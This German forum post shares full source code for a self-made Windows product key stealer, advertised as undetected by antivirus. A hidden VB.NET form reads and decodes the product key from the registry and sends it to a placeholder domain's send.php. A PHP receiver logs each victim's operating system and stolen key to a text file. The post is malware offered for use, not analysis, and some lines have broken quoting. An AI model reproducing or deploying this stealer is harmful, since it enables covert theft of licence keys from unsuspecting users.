Hallo zusammen,
habe vorhin meinen PC aufgeräumt und eine Klasse zum Keyauslesen wiedergefunden. Darauf habe ich sofort einen Windowskeystealer daraus gebastelt und bin vorhin fertig geworden.
Der Source ist FUD (Full Undetected) ~ by r3miX
KeyStealer VB.NET:
Code
Imports System.EnvironmentPublic Class Form1 Public Class GetCDKeyFromWindows#Region "Functions" Public Shared ReadOnly Property ReturnProductKey() As String Get Return GetCDKey() End Get End Property Private Shared Function GetCDKey() As String Dim tmp() As Byte ReDim Preserve tmp(14) Dim Valuename As String = "DigitalProductId" Dim Path As String = "Software\Microsoft\Windows NT\CurrentVersion" Dim n As Integer Try Dim hObject As Object = _ My.Computer.Registry.LocalMachine.OpenSubKey( _ Path, False).GetValue( _ Valuename, Nothing) If hObject.GetType() Is GetType(Byte()) Then Dim Content() As Byte = CType(hObject, Byte()) For n = 52 To 66 tmp(n - 52) = Content(n) Next End If Dim chars() As Byte = { _ Asc("B"), Asc("C"), Asc("D"), Asc("F"), Asc("G"), Asc("H"), Asc("J"), Asc("K"), _ Asc("M"), Asc("P"), Asc("Q"), Asc("R"), Asc("T"), Asc("V"), Asc("W"), Asc("X"), _ Asc("Y"), Asc("2"), Asc("3"), Asc("4"), Asc("6"), Asc("7"), Asc("8"), Asc("9")} Dim Current As Integer Dim Result As String = "" For n = chars.Length To 0 Step -1 Current = 0 For k As Integer = tmp.Length - 1 To 0 Step -1 Current = Current * 256 Xor tmp(k) tmp(k) = CType(Int(Current / 24), Byte) Current = Current Mod 24 Next Result = Microsoft.VisualBasic.Strings.Chr(chars(Current)) & Result If n Mod 5 = 0 And n <> 0 Then Result = "-" & Result Next Return Result Catch ex As Exception MessageBox.Show(ex.Message.ToString, "Info") End Try Return "" End Function#End Region End Class Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load Me.ShowInTaskbar = False Me.Opacity = 0 Dim url As String = "DOMAIN.de/send.php?svc= Dim key As String = GetCDKeyFromWindows.ReturnProductKey() Dim wb As New WebBrowser wb.Navigate(url & key) System.Threading.Thread.Sleep(2000) System.Environment.Exit(0) End SubEnd Class
[COLOR="Red]Send.php![/COLOR]
PHP
<?php
function os() {
$agent=$_SERVER['HTTP_USER_AGENT'];
$os =unknown";
if (strstr($agent, "Windows 98")) $os="Windows 98";
elseif (strstr($agent, "NT 4.0")) $os="Windows NT ";
elseif (strstr($agent, "NT 5.1")) $os="Windows XP";
elseif (strstr($agent, "Win")) $os="Windows Vista";
elseif (strstr($agent, "Mac")) $os="Mac OS";
elseif (strstr($agent, "Linux")) $os="Linux";
elseif (strstr($agent, "Unix")) $os="Unix";
elseif (strstr($agent, "")) $os="<Error>";
return $os;
}
$info=$_GET['svc'];
$ausgabe=os();
$filename="log-steal.txt";
$fp=fopen($filename, "a+");
fwrite($fp, "".$ausgabe." || ".$info."\n");
fclose($fp);
?>
Alles anzeigen
Code by: [COLOR="Red]r3miX[/COLOR] (Und Google FTW :>)
Originallink: http://board.codesoft.cc/showthread.php?t=2882
Und ja, ich bin r3miX x.x (L1ght1 kann es bestätigen!)